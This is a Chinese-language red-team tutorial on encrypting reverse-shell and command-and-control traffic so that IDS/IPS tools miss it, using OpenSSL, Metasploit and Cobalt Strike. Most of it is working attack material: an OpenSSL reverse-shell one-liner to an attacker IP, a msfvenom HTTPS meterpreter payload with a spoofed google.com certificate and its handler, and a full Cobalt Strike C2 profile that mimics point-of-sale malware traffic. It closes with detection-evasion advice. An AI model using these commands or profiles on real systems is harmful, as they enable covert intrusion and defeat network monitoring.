渗透测试之地基流量加密篇:SSL、MSF、CS三种方式进行流量加密
字数 1427 2025-08-15 21:33:10
渗透测试流量加密技术详解
一、前言
在红队渗透测试过程中,反弹shell是常见的横向渗透手段。但明文传输的shell流量容易被IDS或防护软件检测,导致攻击行为被发现和阻断。本文详细介绍三种主流流量加密技术:OpenSSL、Metasploit和Cobalt Strike的加密方法,帮助安全测试人员规避流量检测。
二、环境准备
测试环境配置
-
攻击者机器:
- 系统:Kali Linux 2020.4
- IP:192.168.175.145
-
目标机器:
- Windows Server 2019:192.168.2.142
- Linux服务器(Kali):192.168.2.141
-
监控工具:
- Wireshark用于流量分析
三、OpenSSL流量加密技术
1. 生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
此命令生成:
- 4096位RSA私钥(key.pem)
- 有效期365天的自签名证书(cert.pem)
2. 建立加密连接
攻击者监听端:
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
目标机反弹shell:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.175.145:8888 > /tmp/s; rm /tmp/s
3. 流量分析
使用Wireshark抓包分析,TCP流显示为加密乱码,无法识别原始命令内容。
四、Metasploit流量加密
1. 创建SSL/TLS证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
建议使用高可信度域名(如google.com)提高隐蔽性。
2. 生成加密后门
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.175.145 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o dayu.bat
3. 配置监听器
use exploit/multi/handler
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.175.145
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true
exploit
关键参数:
HandlerSSLCert:指定证书路径StagerVerifySSLCert:启用SSL证书验证
4. 效果验证
成功建立连接后,Wireshark显示流量为HTTPS加密传输,无法解析原始内容。
五、Cobalt Strike 4.0流量加密
1. 证书生成
keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore dayu.store
输入信息示例:
- 密钥库密码:至少6位
- CN=dayu, OU=Microsoft, O=Microsoft, L=US, ST=US, C=en
2. 创建C2 Profile文件
dayu.profile示例:
set sample_name "dayu POS Malware";
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
https-certificate {
set CN "dayu";
set O "Microsoft";
set C "en";
set L "US";
set OU "Microsoft";
set ST "US";
set validity "365";
}
code-signer{
set keystore "dayu.store";
set password "dayu123";
set alias "dayu";
}
set dns_idle "8.8.4.4";
set dns_sleep "0";
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urltrytryd";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
验证配置文件:
./c2lint dayu.profile
3. 修改Teamserver配置
vi teamserver
修改默认端口50050为其他端口(如40567)
4. 启动Teamserver
nohup ./teamserver 192.168.175.145 11111 dayu.profile &
5. 创建HTTPS监听器
在Cobalt Strike中:
- 选择"Listeners"
- 添加HTTPS监听器
- 配置与profile匹配的参数
6. 生成加密Payload
使用生成的证书创建各种格式的Payload,配合免杀技术使用。
六、总结对比
| 技术 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| OpenSSL | 简单易用,兼容性好 | 需要手动建立管道 | Linux环境快速加密 |
| Metasploit | 集成度高,支持多种Payload | 证书需要预先配置 | 内网横向渗透 |
| Cobalt Strike | 功能全面,隐蔽性高 | 配置复杂,资源占用大 | 高级红队操作 |
七、最佳实践建议
-
证书选择:
- 使用高信誉域名的证书(如google.com)
- 定期更换证书避免特征积累
-
流量特征规避:
- 设置合理的sleep和jitter参数
- 模拟正常用户流量模式
-
环境配置:
- 修改默认端口和服务标识
- 使用C2 Profile精细控制流量特征
-
监控与验证:
- 使用Wireshark验证加密效果
- 定期测试对抗最新检测技术
通过合理应用这些加密技术,可以有效规避常见IDS/IPS的检测,提高红队操作的隐蔽性和成功率。